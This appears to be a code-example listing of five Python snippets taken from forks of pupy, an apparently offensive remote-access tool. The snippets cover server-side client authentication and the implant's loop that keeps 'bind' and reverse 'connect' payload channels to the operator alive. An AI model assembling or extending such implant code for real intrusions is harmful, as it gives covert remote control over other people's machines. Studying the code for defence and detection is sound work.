示例#1
0
    def _setup_connection(self, lock, sock, queue):
        '''Authenticate a client and if it succeeds, wraps the socket in a connection object.
        Note that this code is cut and paste from the rpyc internals and may have to be
        changed if rpyc evolves'''
        tup = sock.getpeername()
        h, p = tup[0], tup[
            1]  # tup can have different sizes depending on ipv4/ipv6

        credentials = None
        if self.authenticator:
            try:
                wrapper, credentials = self.authenticator(sock)
            except AuthenticationError:
                self.logger.info(
                    '{}:{} failed to authenticate, rejecting connection'.
                    format(h, p))
                queue.put_nowait((None, None, None))
                return
        else:
            wrapper = sock

        # build a connection
        config = dict(self.protocol_config,
                      credentials=credentials,
                      connid='{}:{}'.format(h, p))
        stream = self.stream_class(wrapper, self.transport_class,
                                   self.transport_kwargs)
        connection = None

        try:
            self.logger.debug(
                '{}:{} Authenticated. Starting connection'.format(h, p))

            connection = PupyConnection(lock,
                                        self.pupy_srv,
                                        self.service,
                                        Channel(stream),
                                        config=config)

            self.logger.debug('{}:{} Connection complete'.format(h, p))
        finally:
            self.logger.debug('{}:{} Report connection: {}'.format(
                h, p, connection))
            queue.put_nowait((connection, wrapper, credentials))
示例#2
0
def rpyc_loop(launcher):
    global attempt
    global debug

    stream = None
    for ret in launcher.iterate():
        logger.debug('Operation state: Terminated = {}'.format(sys.terminated))

        if sys.terminated:
            logger.warning('Loop terminated')
            break

        logger.debug('Acquire launcher: {}'.format(ret))

        try:
            pupy.connected = False
            if isinstance(ret, tuple):  # bind payload
                server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
                s = server_class(
                    BindSlaveService,
                    port=port,
                    hostname=address,
                    authenticator=authenticator,
                    stream=stream,
                    transport=transport,
                    transport_kwargs=transport_kwargs,
                    pupy_srv=None,
                )

                sys.terminate = s.close
                pupy.connected = True

                s.start()
                sys.terminate = None
                pupy.connected = False

            else:  # connect payload
                stream = ret

                conn = PupyConnection(None,
                                      ReverseSlaveService,
                                      PupyChannel(stream),
                                      config={},
                                      ping=stream.KEEP_ALIVE_REQUIRED)

                conn.init()
                conn.loop()

        except SystemExit:
            raise

        except EOFError:
            pass

        except:
            print_exception('[M]')

        finally:
            logger.debug('Launcher completed')

            if stream is not None:
                try:
                    stream.close()
                except:
                    pass
示例#3
0
文件: service.py 项目: yalpdevx/pupy
    def _iterate_launcher(self):
        stream = None
        for ret in self._launcher.iterate():
            logger.debug('Operation state: Terminated = %s', self.terminated)

            if self.terminated:
                logger.warning('Loop terminated')
                break

            logger.debug('Acquire launcher: %s', ret)

            try:
                if isinstance(ret, tuple):  # bind payload
                    server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
                    self.set_connection_info(
                        server_class(
                            self._bind_service,
                            port=port,
                            hostname=address,
                            authenticator=authenticator,
                            stream=stream,
                            transport=transport,
                            transport_kwargs=transport_kwargs,
                            pupy_srv=None,
                        ))

                    self._connection.start()

                else:  # connect payload
                    stream = ret

                    self.set_connection_info(
                        PupyConnection(None,
                                       self._connect_service,
                                       PupyChannel(stream),
                                       config={},
                                       ping=stream.KEEP_ALIVE_REQUIRED))

                    self._connection.init()
                    self._connection.loop()
                    self._attempt = 0

            except SystemExit:
                raise

            except EOFError:
                pass

            except Exception as e:
                pupy.remote_error('Iterate launcher: {}', e)

            finally:
                logger.debug('Launcher completed')

                self.reset_connection_info()

                if stream is not None:
                    try:
                        stream.close()
                    except:
                        pass

            if self.terminated:
                break
示例#4
0
文件: pp.py 项目: minkione/pupy
def rpyc_loop(launcher):
    global attempt
    global debug

    stream = None
    for ret in launcher.iterate():
        try:
            if isinstance(ret, tuple):  # bind payload
                server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
                s = server_class(
                    BindSlaveService,
                    port=port,
                    hostname=address,
                    authenticator=authenticator,
                    stream=stream,
                    transport=transport,
                    transport_kwargs=transport_kwargs,
                    pupy_srv=None,
                )
                s.start()

            else:  # connect payload
                stream = ret

                def check_timeout(event, cb, timeout=60):
                    time.sleep(timeout)
                    if not event.is_set():
                        logging.error('timeout occured!')
                        cb()

                event = threading.Event()
                t = threading.Thread(target=check_timeout,
                                     args=(event, stream.close))
                t.daemon = True
                t.start()

                lock = threading.RLock()
                conn = None

                try:
                    conn = PupyConnection(lock,
                                          None,
                                          ReverseSlaveService,
                                          rpyc.Channel(stream),
                                          config={})
                    conn._init_service()
                finally:
                    event.set()

                attempt = 0
                with lock:
                    while not conn.closed:
                        conn.serve(10)

        except SystemExit:
            raise

        except EOFError:
            pass

        except Exception as e:
            if debug:
                try:
                    logging.exception(e)
                except:
                    print "Exception ({}): {}".format(type(e), e)
        finally:
            if stream is not None:
                try:
                    stream.close()
                except:
                    pass
示例#5
0
文件: pp.py 项目: AlessandroZ/pupy
def rpyc_loop(launcher):
    global attempt
    global debug

    stream=None
    for ret in launcher.iterate():
        try:
            if isinstance(ret, tuple):  # bind payload
                server_class, port, address, authenticator, stream, transport, transport_kwargs = ret
                s = server_class(
                    BindSlaveService,
                    port=port,
                    hostname=address,
                    authenticator=authenticator,
                    stream=stream,
                    transport=transport,
                    transport_kwargs=transport_kwargs,
                    pupy_srv=None,
                )
                s.start()

            else:  # connect payload
                stream = ret

                def check_timeout(event, cb, timeout=60):
                    time.sleep(timeout)
                    if not event.is_set():
                        logging.error('timeout occured!')
                        cb()

                event = threading.Event()
                t = threading.Thread(
                    target=check_timeout, args=(
                        event, stream.close))
                t.daemon = True
                t.start()

                lock = threading.RLock()
                conn = None

                try:
                    conn = PupyConnection(
                        lock, None, ReverseSlaveService,
                        PupyChannel(stream), config={}
                    )
                    conn._init_service()
                finally:
                    event.set()

                attempt = 0
                with lock:
                    while not conn.closed:
                        interval, timeout = conn.get_pings()
                        conn.serve(interval or 10)
                        if interval:
                            conn.ping(timeout)

        except SystemExit:
            raise

        except EOFError:
            pass

        except Exception as e:
            if debug:
                try:
                    logging.exception(e)
                except:
                    print "Exception ({}): {}".format(type(e), e)
        finally:
            if stream is not None:
                try:
                    stream.close()
                except:
                    pass